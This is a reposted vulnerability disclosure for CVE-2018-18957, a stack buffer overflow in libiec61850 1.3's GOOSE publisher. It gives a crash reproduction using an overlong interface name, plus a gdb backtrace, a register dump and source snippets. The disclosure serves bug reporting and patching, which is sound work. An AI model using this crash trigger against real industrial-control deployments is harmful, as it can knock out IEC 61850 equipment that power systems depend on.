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libiec61850 1.3 - Stack Based Buffer Overflow
来源:vfocus.net 作者:Mishra 发布时间:2018-11-07  
Exploit Title: libiec61850 1.3 - Stack Based Buffer Overflow
# Date: 2018-11-06
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://libiec61850.com/libiec61850/
# Software Link: https://github.com/mz-automation/libiec61850
# Version: 1.3
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2018-18957
# References:
# https://github.com/mz-automation/libiec61850/issues/83
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18957
 
# Summary
# While fuzzing a stack based buffer overflow was found in libIEC61850 (the
# open-source library for the IEC 61850 protocols) in prepareGooseBuffer in
# goose/goose_publisher.c
 
## Steps to reproduce
 
$ ./goose_publisher_example crash_goosecr_stack_smash_overflow_aaaaaaaaa
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
*** stack smashing detected ***: <unknown> terminated
Aborted
$
 
## Debugging
 
(gdb) run crash_goosecr_stack_smash_overflow_aaaaaaaaa
Starting program:
/home/input0/Desktop/libiec61850/examples/goose_publisher/goose_publisher_example
crash_goosecr_stack_smash_overflow_aaaaaaaaa
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
*** stack smashing detected ***: <unknown> terminated
 
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007ffff7805801 in __GI_abort () at abort.c:79
#2  0x00007ffff784e897 in __libc_message (action=action@entry=do_abort,
fmt=fmt@entry=0x7ffff797b988 "*** %s ***: %s terminated\n")
    at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007ffff78f9cd1 in __GI___fortify_fail_abort
(need_backtrace=need_backtrace@entry=false,
    msg=msg@entry=0x7ffff797b966 "stack smashing detected") at
fortify_fail.c:33
#4  0x00007ffff78f9c92 in __stack_chk_fail () at stack_chk_fail.c:29
#5  0x000055555555a211 in Ethernet_getInterfaceMACAddress
(interfaceId=0x7fffffffdeee "crash_goosecr_stack_smash_overflow_aaaaaaaaa",
    addr=0x7fffffffd91c "k_smas\377\377") at
hal/ethernet/linux/ethernet_linux.c:170
#6  0x00005555555594ee in prepareGooseBuffer (self=0x5555557637d0,
parameters=0x7fffffffd9ac,
    interfaceID=0x7fffffffdeee
"crash_goosecr_stack_smash_overflow_aaaaaaaaa") at
src/goose/goose_publisher.c:168
#7  0x0000555555559293 in GoosePublisher_create (parameters=0x7fffffffd9ac,
    interfaceID=0x7fffffffdeee
"crash_goosecr_stack_smash_overflow_aaaaaaaaa") at
src/goose/goose_publisher.c:72
#8  0x0000555555555387 in main (argc=2, argv=0x7fffffffdaa8) at
goose_publisher_example.c:52
(gdb) i r
rax            0x0    0
rbx            0x7fffffffd6b0    140737488344752
rcx            0x7ffff7803e97    140737345765015
rdx            0x0    0
rsi            0x7fffffffd410    140737488344080
rdi            0x2    2
rbp            0x7fffffffd840    0x7fffffffd840
rsp            0x7fffffffd410    0x7fffffffd410
r8             0x0    0
r9             0x7fffffffd410    140737488344080
r10            0x8    8
r11            0x246    582
r12            0x7fffffffd6b0    140737488344752
r13            0x1000    4096
r14            0x0    0
r15            0x30    48
rip            0x7ffff7803e97    0x7ffff7803e97 <__GI_raise+199>
eflags         0x246    [ PF ZF IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb)
 
## src
 
Snip : src/goose/goose_publisher.c
 
{
    GoosePublisher self = (GoosePublisher) GLOBAL_CALLOC(1, sizeof(struct
sGoosePublisher));
    prepareGooseBuffer(self, parameters, interfaceID);
    self->timestamp = MmsValue_newUtcTimeByMsTime(Hal_getTimeInMs());
    GoosePublisher_reset(self);
    return self;
}
 
Snip: src/goose/goose_publisher.c
 
    if (interfaceID != NULL)
        Ethernet_getInterfaceMACAddress(interfaceID, srcAddr);
    else
Ethernet_getInterfaceMACAddress(CONFIG_ETHERNET_INTERFACE_ID, srcAddr);
 
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